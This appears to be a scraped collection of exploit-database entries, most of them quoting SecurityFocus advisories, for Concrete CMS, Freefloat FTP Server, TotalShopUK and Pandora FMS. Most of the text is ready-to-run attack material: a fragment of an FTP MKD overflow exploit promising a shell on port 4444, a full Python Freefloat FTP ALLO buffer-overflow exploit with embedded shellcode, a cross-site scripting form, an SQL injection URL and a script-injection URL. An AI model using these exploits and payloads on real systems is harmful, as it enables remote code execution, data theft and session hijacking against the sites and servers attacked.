evil = 'A' * 2007 #JUNK
evil += '\x65\x82\xA5\x7C' # EIP overwrite jmp esp / shell32.dll
evil += '\x90' * 10
evil += shellcode
print ' [+] Sending Payload ...'
s.send('mkd ' + evil)
print ' [+] You got shell .....\n telnet ' + server + ' 4444'
HireHackking 
source: https://www.securityfocus.com/bid/49276/info

Concrete is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Concrete 5.4.1.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/Concrete/index.php/login/do_login/"  method="post">
<input type="hidden" name="uName" value="test" />
<input type="hidden" name="uPassword" value="test" />
<input type="hidden" name="rcID" value=&#039;" style=display:block;color:red;width:9999;height:9999;z-index:9999;top:0;left:0;background-image:url(javascript:alert(/XSS/));width:expression(alert(/XSS/)); onmouseover="alert(/XSS/)&#039; />
<input type="submit" name="submit" value="Get Concrete CMS 5.4.1.1 XSS" />
</form>
HireHackking 
source: https://www.securityfocus.com/bid/49265/info

Freefloat FTP Server is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

import socket
import sys

def usage():

        print "usage  : ./freefloatftp.py <victim_ip>  <victim_port>"
        print "example: ./freefloatftp.py 192.168.1.100 21"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


print "\n"	
print "#############################################################################"
print "#      Freefloat FTP Server ALLO Buffer Overflow Vulnerability Exploit      #"
print "#############################################################################"
print "\n"


if len(sys.argv) != 3:
	usage()
        sys.exit()

ip   = sys.argv[1]
port = sys.argv[2]

junk1= "\x41" * 246
ret  = "\xED\x1E\x94\x7C" #7C941EED JMP ESP
nop  = "\x90"* 200
# windows/exec          CMD=calc.exe
shellcode =("\x89\xe3\xdb\xd4\xd9\x73\xf4\x5d\x55\x59\x49\x49\x49\x49"
			"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
			"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
			"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
			"\x42\x75\x4a\x49\x4d\x6f\x58\x70\x56\x4f\x54\x70\x4d\x6e"
			"\x58\x59\x58\x4b\x54\x69\x5a\x69\x4d\x61\x56\x53\x4b\x69"
			"\x52\x54\x45\x74\x4b\x44\x43\x6a\x45\x61\x50\x7a\x45\x42"
			"\x4d\x53\x58\x42\x54\x44\x43\x33\x4d\x5a\x45\x71\x58\x52"
			"\x50\x4b\x4d\x46\x5a\x76\x4d\x4b\x4c\x74\x43\x56\x45\x77"
			"\x49\x6c\x45\x6d\x4c\x43\x56\x76\x54\x6e\x56\x39\x4b\x70"
			"\x54\x4b\x4b\x4e\x51\x39\x4d\x54\x4d\x77\x51\x65\x51\x6f"
			"\x45\x6c\x54\x73\x49\x6b\x4d\x78\x45\x63\x4c\x34\x58\x36"
			"\x4e\x6e\x50\x7a\x47\x75\x54\x37\x56\x6f\x58\x50\x4b\x75"
			"\x47\x69\x49\x63\x47\x5a\x54\x5a\x4b\x4a\x5a\x6a\x4b\x55"
			"\x50\x6f\x4b\x4b\x54\x4b\x45\x4b\x4d\x4f\x4d\x79\x58\x44"
			"\x56\x30\x54\x72\x51\x4e\x51\x70\x47\x54\x4e\x6f\x43\x6f"
			"\x4e\x46\x51\x33\x4c\x6f\x56\x47\x5a\x63\x5a\x53\x43\x74"
			"\x5a\x32\x49\x5a\x45\x73\x58\x74\x4e\x49\x4e\x65\x4b\x6b"
			"\x51\x6e\x49\x65\x50\x35\x49\x4a\x51\x43\x5a\x45\x56\x6a"
			"\x4d\x45\x4e\x38\x49\x4e\x49\x69\x56\x44\x54\x49\x54\x6f"
			"\x47\x71\x52\x37\x50\x75\x49\x6c\x47\x4c\x4e\x78\x50\x78"
			"\x4b\x4c\x52\x59\x47\x6e\x45\x33\x4c\x4b\x52\x51\x51\x4d"
			"\x47\x6e\x4e\x6c\x43\x71\x47\x6c\x4f\x34\x56\x79\x43\x64"
			"\x4c\x46\x4e\x6f\x4f\x4a\x4d\x6c\x56\x57\x47\x33\x43\x6c"
			"\x47\x46\x47\x4b\x47\x58\x45\x7a\x54\x50\x43\x6f\x4e\x4f"
			"\x4b\x4f\x54\x6a\x51\x4b\x54\x64\x49\x6e\x4b\x4c\x5a\x4a"
			"\x51\x6e\x56\x45\x4e\x39\x4c\x77\x54\x65\x43\x74\x54\x38"
			"\x47\x6d\x4c\x4b\x50\x79\x4c\x5a\x58\x79\x50\x74\x4b\x6c"
			"\x4e\x30\x5a\x4b\x51\x71\x52\x46\x4d\x6b\x45\x31\x51\x67"
			"\x58\x6a\x4b\x71\x5a\x6c\x52\x57\x4b\x44\x4b\x79\x51\x6e"
			"\x54\x50\x4f\x35\x43\x72\x56\x71\x50\x67\x5a\x7a\x4b\x30"
			"\x50\x56\x4f\x67\x4e\x70\x4b\x39\x49\x6e\x50\x30\x43\x4d"
			"\x51\x48\x52\x63\x51\x4d\x51\x6e\x58\x36\x4b\x37\x56\x38"
			"\x49\x6d\x54\x73\x52\x57\x4f\x6f\x47\x6d\x45\x66\x51\x62"
			"\x4b\x6b\x4c\x59\x4f\x5a\x54\x4e\x54\x34\x52\x6c\x58\x4d"
			"\x4d\x6d\x50\x75\x51\x55\x4c\x6e\x45\x70\x58\x66\x54\x45"
			"\x47\x6f\x5a\x67\x4c\x4e\x4e\x4c\x51\x4f\x41\x41")


buff   = junk1 + ret + nop + shellcode

try:
	print("[-] Connecting to " + ip + " on port " + port + "\n")
	s.connect((ip,int(port)))
	data = s.recv(1024)
	print("[-] Sending exploit...")
	s.send("USER test\r\n")
	s.recv(1024)
	s.send("PASS test\r\n")
	s.recv(1024)
	s.send("ALLO "+buff+"\r\n")
	s.close()
	print("[-] Exploit successfully sent...")
except:
	print("[-] Connection error...")
	print("[-] Check if victim is up.")
HireHackking 
source: https://www.securityfocus.com/bid/49263/info

TotalShopUK is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

TotalShopUK 1.7.2 is vulnerable; other versions may also be affected.

http://www.example.com/products/c/index.php/1'
HireHackking 
source: https://www.securityfocus.com/bid/49261/info

Pandora FMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pandora FMS 3.2.1 is vulnerable; other versions may also be affected.

http://www.example.com/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&refr=60&group_id=12&offset=0&search=bob%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E